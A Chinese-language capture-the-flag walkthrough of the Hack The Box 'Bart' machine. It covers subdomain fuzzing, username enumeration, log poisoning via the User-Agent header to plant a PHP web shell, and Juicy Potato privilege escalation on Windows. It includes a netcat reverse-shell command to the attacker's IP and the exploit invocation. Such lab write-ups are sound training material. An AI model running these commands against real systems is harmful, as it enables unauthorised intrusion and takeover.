nmap -p- -v --min-rate 10000 10.10.10.81
发现只开了一个80端口
访问提示似乎有防火墙策略限制,并给出了一个域名forum.bart.htb。配进host即可成功访问。 因此怀疑还有别的子域名,尝试爆破
wfuzz -c -u "http://forum.bart.htb/" -H "Host:FUZZ.bart.htb" -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt --hl 0
新增一个monitor.bart.htb
web指纹:wordpress 4.8.2,IIS10.0 windows server。 但实际访问感觉是个纯静态站点,只搜集到几个用户名可能有用 Samantha Brown CEO@BART Daniel Simmons Head of Sales Robert Hilton Head of IT Jane Doe Developer@FluffyUnicorns 并生成一份字典
cewl -e -a --with-numbers http://forum.bart.htb/ > bart.txt
==查看网页源码发现注释里还有一个隐藏起来的员工信息==
Harvey Potter Developer@BART potter@bart.htb
一个登录页面
web指纹:php server monitor v3.2.1 php7.1.7
忘记密码页面可以用来探测用户名是否存在:Daniel,harvey
抓包发现有csrf token automating-burpsuite-1-capturing-csrf-token-via-macro 但是爆破还是没成,还得研究一下。 不太想写脚本,因为burpsuite的这个高级用法应该用处还挺广的。
手动尝试名字potter作密码,登录成功。发现新的子域名internal-01.bart.htb
又是一个登录页
dirsearch -u http://internal-01.bart.htb/ -e *
dirsearch -u http://internal-01.bart.htb/simple_chat/ -e *
对根目录以及登录页所在目录进行爆破, 发现根目录下存在/log/log.txt /simple_chat/register.php -> register_form.php
除此之外啥也没有,登录爆破与sql注入都不行。阅读网页源码发现引用的css文件里含有作者信息
google搜索“Copyright (c) 2013 Manolis Agkopian”排第一位的就是个GitHub仓php-ajax-simple-chat应该就是它了。
下载下来先用昆仑镜扫了一下,没有很浅显的rce。继续手动看账号相关的,因为上面扫到了register.php和register_form.php所以先跟一下.大致的注册逻辑如下:
register.php中通过post传参uname和passwd进errors变量,末尾跳转register_form
$errors = array();
//check if username is provided
if (!isset($_POST['uname']) || empty($_POST['uname'])) {
$errors['uname'] = 'The Username is required';
} else {
//validate username
if (($uname = validate_username($_POST['uname'])) === false) {
$errors['uname'] = 'The Username is invalid';
}
}
//check if password is provided
if (!isset($_POST['passwd']) || empty($_POST['passwd'])) {
$errors['passwd'] = 'The Password is required';
} else {
//validate password
if (($passwd = validate_password($_POST['passwd'])) === false) {
$errors['passwd'] = 'The Password must be at least 8 characters';
}
}
........
//末尾
header('Location: register_form.php');
register_form.php先判断session是否有reg_errors,不然就传递errors变量给markup_func.php的do_html_register_form函数完成注册
$errors = array();
if (isset($_SESSION['reg_errors']) && !empty($_SESSION['reg_errors'])) {
$errors = $_SESSION['reg_errors'];
unset($_SESSION['reg_errors']);
}
.........
.........
<?php do_html_register_form($errors);?>
通过hackbar发送注册请求
成功登录
f12查看源码发现一个函数
看描述是存日志的,访问一下看看(构造了一个任意文件读的payload)
本以为可以直接写shell了,但是构造写入失败了
几经尝试,最终注意到这个log.txt就是我之前扫出来的/log/log.txt !!!我按照实例,正常访问时,log.txt中就会多一条记录,记录我的用户名和user-agent。
会不会这个filename是写入的文件名,但是内容不是从filename中构造,而是来自于user-agent头呢?
蚁剑成功连接/log/1.php
Privilege Name Description State
======================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
发现有SeImpersonatePrivilege权限,尝试烂土豆提权 上传nc,juicy-potato.exe,提权脚本
c:\temp\nc.exe -e c:\Windows\System32\cmd.exe 10.10.14.12 4444
但是使用默认的clsid失败了
.\jp.exe -t t -p c:\windows\system32\cmd.exe -l 2234 -a "/c c:\temp\re.bat"
执行systeminfo,发现本机为win10 pro,所以去查clsidclsid列表
多次尝试,成功得到shell。
ps.图里可以看出来有的clsid显示成功了,但是实际上没有得到shell
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。